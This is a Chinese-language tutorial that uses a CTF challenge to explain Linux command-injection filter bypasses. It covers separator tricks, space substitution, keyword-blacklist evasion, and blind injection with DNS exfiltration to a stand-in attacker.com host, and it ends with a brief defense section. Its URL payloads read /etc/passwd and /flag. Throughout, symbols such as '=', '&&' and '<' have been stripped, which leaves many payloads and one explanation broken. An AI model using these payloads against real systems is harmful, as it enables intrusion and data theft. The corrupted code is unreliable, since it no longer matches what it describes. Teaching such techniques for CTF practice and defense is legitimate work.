
从一道CTF题看Linux命令注入的N种绕过姿势不只是空格和cat在渗透测试和CTF竞赛中命令注入漏洞一直是Web安全领域的重要考点。不同于简单的SQL注入或XSS攻击命令注入直接与操作系统交互其危害性和灵活性都更为显著。本文将以一道典型的CTF题目为切入点系统性地剖析Linux命令注入的各种高级绕过技术帮助安全从业者构建更全面的防御思维。1. 命令分隔符的七十二变当我们在Web应用中发现了命令注入漏洞时第一个需要突破的往往是如何将多个命令串联执行。常见的分号;可能被过滤但Linux系统提供了丰富的替代方案逻辑运算符前命令成功则执行后命令、||前命令失败则执行后命令后台执行符将前命令放入后台执行继续执行后命令管道符|将前命令输出作为后命令输入换行符%0aURL编码的换行符在HTTP请求中常能绕过过滤# 实际CTF中的利用示例 ?ip127.0.0.1%0aid # 使用换行符代替分号 ?ip127.0.0.1||ls # 前ping命令失败时执行ls注意不同分隔符在Bash中的执行优先级不同和||具有相同的优先级且高于;和2. 空格绕过的艺术空格是命令注入中最常被过滤的字符之一但绕过方法远不止IFS一种绕过技术示例原理说明IFS变量cat${IFS}file使用内部字段分隔符重定向符catfile利用输入重定向大括号扩展{cat,file}Bash的大括号扩展语法制表符cat\tfile使用Tab替代空格URL编码cat%09file编码后的空格或制表符# 使用大括号扩展绕过 ?ip127.0.0.1;{ls,-la} # 使用重定向符 ?ip127.0.0.1;cat/etc/passwd3. 关键字黑名单的破解之道当cat、flag等关键词被过滤时我们可以采用多种替代方案3.1 替代命令法文件读取tac、rev、more、less、head、tail、nl二进制查看od、xxd、hexdump编码转换base64、uuencode3.2 通配符技巧# 使用通配符匹配文件名 ?ip127.0.0.1;cat /fla? # 使用字符类 ?ip127.0.0.1;cat /fla[a-g]3.3 变量拼接# 将命令拆分为变量 ?ip127.0.0.1;ac;bat;cflag;$a$b $c4. 无回显场景下的盲注技术当命令执行结果不直接显示时可以采用以下技术时间盲注通过sleep命令观察响应延迟DNS外带利用dig或nslookup将数据外带HTTP请求使用curl或wget发送数据到可控服务器文件写入将结果写入web目录再访问# DNS外带示例 ?ip127.0.0.1;dig whoami.attacker.com # 时间盲注示例 ?ip127.0.0.1;if [ -f /flag ]; then sleep 5; fi5. 防御措施的全面思考了解攻击手法是为了更好地防御。针对命令注入建议采取多层防护输入验证严格限制用户输入的字符集参数化调用使用execve等函数直接传递参数数组最小权限运行Web服务的用户应具有最小必要权限命令白名单如必须执行命令应建立严格的命令白名单# 安全的命令执行示例Python import subprocess subprocess.run([ls, -l], checkTrue) # 避免shellTrue在实际渗透测试中命令注入的绕过往往需要多种技术组合使用。我曾遇到一个案例目标系统过滤了空格、分号和常见命令最终通过%0a换行符配合大括号扩展成功实现了注入。这种不断突破限制的过程正是安全研究的魅力所在。